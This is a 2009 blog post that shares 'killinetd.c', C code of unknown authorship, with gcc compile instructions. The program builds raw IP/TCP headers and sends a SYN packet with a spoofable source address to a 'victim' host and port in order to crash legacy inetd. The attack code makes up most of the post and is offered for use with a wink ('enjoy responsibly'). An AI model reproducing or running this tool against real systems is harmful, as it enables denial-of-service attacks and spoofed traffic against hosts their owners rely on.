Monday, April 27, 2009

One Of The Many Reasons Inetd Isn't Around Any More On Linux Or Unix

Hey There,

I decided to comb through some older code I had laying around for today's post since I'll be waking up 5:30am (about 3 and 1/2 hours early) to get to work today (or tomorrow, if you're reading this post when it's "actually" been published ;) and I found this little nugget lying around that may allow me to get some fitful rest before my alarm clock goes off :P

Let me state right off the bat that "this code is not mine." Also, "I have no idea who wrote it." I'm sure it was no one I worked with in the past and I'm doubly sure that it wasn't me (it's too well written ;). Admittedly, I only did Google searching to try and found out the rightful owner, so that I could give attribution, but I couldn't find anything that resembled this. It may just be the search terms I used. Sometimes when you Google for "White China" you end up with nothing but links to web pages about Scandanavian Basket Weaving... who knows? ;)

In any event, I thought this was interesting (and thought a few of you out there might find it interesting as well). It may require some modification to work on your machine, but it's pretty straightforward and easy to compile. It also does it's job; it kills inetd. That's probably why I saved it as killinetd.c ;) Worst case, it may provide you with some insight into a c code problem you're having trouble solving that's almost completely unrelated :)

You should be able to compile it (using gcc, since it's free) like this:

host # gcc -o killinetd killinetd.c

If, for some reason, your system links back and requires socket libraries to compile, you can generally get away with:

host # gcc -o killinetd killinetd.c -lsocket -lnsl

You may need only one of the "libsocket" and "libnsl" references above, or you may need both. It highly depends on what OS you're compiling this on.

If you still have a system that uses the old-fashioned inetd (not xinetd or the updated Solaris-type inetd with smf (the one were you update it with inetconv instead of just sending a HUP signal to inetd)), this will probably work.

Enjoy! But enjoy responsibly ;)

Cheers,

NOTE: This code is the intellectual property of whomever originally wrote it. If you can email us (via the link at the upper right of the blog) and provide sufficient evidence that this code is yours, we will gladly include your name (to give you full attribution), remove it from this blog, replace it with a "Family Circus" cartoon, or pretty much anything you want... within reason ;)



#include <sys/types.h>
#include <inet/led.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <inet/ip.h>
#include <inet/tcp.h>
#include <stdio.h>


#define NPROBES 1

#define SEQ 0x28374839

unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}


int sock, ssock;

void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
char buf[65536];
struct { /* rfc 793 tcp pseudo-header */
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} ph;

struct sockaddr_in sin; /* how necessary is this? */

ph.saddr=ih->saddr;
ph.daddr=ih->daddr;
ph.mbz=0;
ph.ptcl=IPPROTO_TCP;
ph.tcpl=htons(sizeof(*th)+dlen);
memcpy(buf, &ph, sizeof(ph));
memcpy(buf+sizeof(ph), th, sizeof(*th));
memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);

memcpy(buf, ih, 4*ih->ihl);
memcpy(buf+4*ih->ihl, th, sizeof(*th));
memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);

ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
memcpy(buf, ih, 4*ih->ihl);

sin.sin_family=AF_INET;
sin.sin_port=th->dest;
sin.sin_addr.s_addr=ih->daddr;

if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0,
&sin, sizeof(sin))<0) {
perror("sendto");
exit(1);
}
}




probe_seq(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
int i;
struct iphdr ih;
struct tcphdr th;
char buf[1024];

ih.version=4;
ih.ihl=5;
ih.tos=0; /* XXX is this normal? */
ih.tot_len=sizeof(ih)+sizeof(th);
ih.id=htons(6969);
ih.frag_off=0;
ih.ttl=30;
ih.protocol=IPPROTO_TCP;
ih.check=0;
ih.saddr=my_ip;
ih.daddr=their_ip;

th.source=htons(9999);
th.dest=htons(port);
th.seq=htonl(SEQ+i);
th.ack_seq=0;
th.res1=0;
th.doff=sizeof(th)/4;
th.fin=0;
th.syn=1;
th.rst=0;
th.psh=0;
th.ack=0;
th.urg=0;
th.res2=0;
th.window=htons(512);
th.check=0;
th.urg_ptr=0;

send_tcp_segment(&ih, &th, &ih, 0);

}

unsigned long getaddr(char *name) {
struct hostent *hep;

hep=gethostbyname(name);
if(!hep) {
fprintf(stderr, "Unknown host %s\n", name);
exit(1);
}
return *(unsigned long *)hep->h_addr;
}


main(int argc, char **argv) {
unsigned long me=htonl(0x980101ae), victim;
int port=13;
struct hostent *hep;

if(argc<2) {
printf("Usage: %s target [port [source]]\n", argv[0]);
exit(1);
}

if(argc>=2)
victim=getaddr(argv[1]);

if(argc>=3)
port=atoi(argv[2]);

if(argc>=4)
me=getaddr(argv[3]);


ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sock<0) {
perror("socket (raw)");
exit(1);
}

probe_seq(me, victim, port);
}




, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.